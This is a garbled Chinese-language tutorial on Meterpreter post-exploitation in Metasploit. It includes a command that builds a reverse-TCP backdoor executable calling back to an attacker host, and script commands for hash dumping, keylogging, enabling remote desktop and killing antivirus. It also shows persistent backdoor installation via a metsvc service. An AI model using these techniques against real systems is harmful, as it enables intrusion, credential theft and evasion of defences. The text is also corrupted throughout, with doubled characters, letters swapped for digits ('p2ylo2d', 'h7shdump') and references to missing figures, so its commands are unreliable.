0x01 背景
meterpreter作为后渗透模块有多种类型,并且命令由核⼼心命令和扩展库命令组成,极⼤大的丰富了了攻击⽅方式。 需要说明的是meterpreter在漏漏洞洞利利⽤用成功后会发送第二阶段的代码和meterpreter服务器器dll,所以在⽹网络不不稳定的情况下经常出现没有可执⾏行行命令,或者会话建⽴立执⾏行行help之后发现缺少命令。 连上vpn⼜又在内⽹网中使⽤用psexec和bind_tcp的时候经常会出现这种情况,别担⼼心结束了了之后再来⼀一次,喝喝杯茶就好了了。
0x02 常⽤用类型
reverse_tcp
p2th :
p2ylo2d/windows/meterpreter/reverse_tcp
msfp2ylo2d windows/meterpreter/reverse_tcp LHOST=192.168.1.130
LPORT=8080 X > ~/Desktop/ b2ckdoor.exe
反向连接shell,使⽤用起来很稳定。需要设置LHOST。
bind_tcp
p2th : p2ylo2d/windows/meterpreter/bind_tcp
正向连接shell,因为在内⽹网跨⽹网段时⽆无法连接到2tt2ck的机器器,所以在内⽹网中经常会使⽤用,不不需要设置LHOST。
reverse_http/https
p2th:p2ylo2d/windows/meterpreter/reverse_http/https
通过http/https的⽅方式反向连接,在⽹网速慢的情况下不不稳定,在某博客上看到https如果反弹没有收到数据,可以将监听端⼝口换成443试试。
0x03 基本命令
常⽤用的有:
b2ckground:将当前会话放置后台
lo2d/use:加载模块
Inter2ct:切换进⼀一个信道
migr2te:迁移进程
run:执⾏行行⼀一个已有的模块,这⾥里里要说的是输⼊入run后按两下t2b,会列列出所有的已有
的脚本,常⽤用的有2utoroute,h2shdump,2rp_sc2nner,multi_meter_inject等。
Resource:执⾏行行⼀一个已有的rc脚本。
0x04 常⽤用扩展库介绍
meterpreter中不不仅有基本命令还有很多扩展库,lo2d/use之后再输⼊入help,就可以看到关于这个模块的命令说明了了。
std7pi comm7nd
⽂文件相关
std2pi中有关于⽂文件读写,上传下载,⽬目录切换,截屏,摄像头,键盘记录,和系统相关的命令。 常⽤用的当然就是⽂文件操作及⽹网络有关的命令。 通常我会⽤用uplo2d和downlo2d进⾏行行⽂文件上传和下载,注意在meterpreter中也可以切换⽬目录,当然也可以编辑⽂文件。所以就不不⽤用运⾏行行shell再⽤用echo写。
使⽤用edit命令时需要注意编辑的是⼀一个存在的⽂文件,edit不不能新建⽂文件。 输⼊入edit + ⽂文件后就会调⽤用vi编辑了了。
⽹网络相关
⽹网络命令则有列列出ip信息(ipconfig),展示修改路路由表(route),还有端⼝口转发(portfwd)。 ⽐比如portfwd:
在建⽴立规则之后就可以连接本地3344端⼝口,这样远程的3389端⼝口就转发出来了。
键盘监听
这⾥里里需要注意⼀一下windows会话窗⼝口的概念,windows桌⾯面划分为不不同的会话(session),以便便于与windows交互。会话0代表控制台,1,2代表远程桌⾯面。所以要截获键盘输⼊入必须在0中进⾏行行。可 以使⽤用getdesktop查看或者截张图试试。否则使⽤用setdesktop切换。
如果不不⾏行行就切换到explorer.exe进程中,这样也可以监听到远程桌⾯面连接进来之后的键盘输⼊入数据。
mimik7tz
这个不不多介绍,只是因为这样抓到的h2sh可以存进数据库⽅方便便之后调⽤用,不不知道有没有什什么⽅方法可以快速的⽤用第三⽅方⼯工具抓到h2sh/明⽂文然后存进数据库。
这⾥里里是因为我的⽤用户本身就没有密码。
sniffer
0x05使⽤用⾃自定脚本
这⾥里里的脚本可以是rc脚本,也可以是ruby脚本,met2sploit已经有很多⾃自定义脚本了了。⽐比如上⾯面说过的2rp_sc2nner,h2shdump。这些脚本都是⽤用ruby编写,所以对于后期⾃自定义修改来说⾮非常⽅方便便,这⾥里里介绍⼀一个很常⻅见的脚本scr2per,它将⽬目标机器器上的常⻅见信息收集起来然后下载保存在本地。推荐这个脚本是因为这个过程⾮非常不不错。可以加⼊入⾃自定义的命令等等。
run getgui -e 开启远程桌⾯面
run h7shdump 获取h7sh后的密码
run checkvm 检查是否是虚拟机
run kill7v 关闭杀毒软件
/.msf4/logs/下保存了了所有脚本需要保存的⽇日志记录,当然不不只这⼀一个脚本。同样.msf4⽂文件夹下还保存了了其他东⻄西,⽐比如输⼊入过的命令,msf运⾏行行过程的⽇日志等。Scr2per脚本将保存结果在/.msf4/logs/scripts/scr2per/下。
0x06 持续性后⻔
met2sploit⾃自带的后⻔门有两种⽅方式启动的,一种是通过服务启动(metsvc),⼀种是通过启动项启动(persistence) 优缺点各异:metsvc是通过服务启动,但是服务名是meterpreter,脚本代码⻅见图:
这⾥里里需要上传三个⽂文件,然后⽤用metsvc.exe 安装服务。不不知道服务名能不不能通过修改metsvc.exe达到。 安装过程和回连过程都很简单
下次回连时使⽤用windows/metsvc_bind_tcp的p2ylo2d就可以。
0x07 后记
meterpreter提供了了很多攻击或收集信息的脚本,并且还有很多API(具体参考官⽅方⽂文档),及扩展。在对ruby代码理理解的程度上,如果能根据⽬目标环境和现状修改现有脚本或编写⾃自⼰己的脚本则能够极⼤大的提⾼高效率,获得预期的结果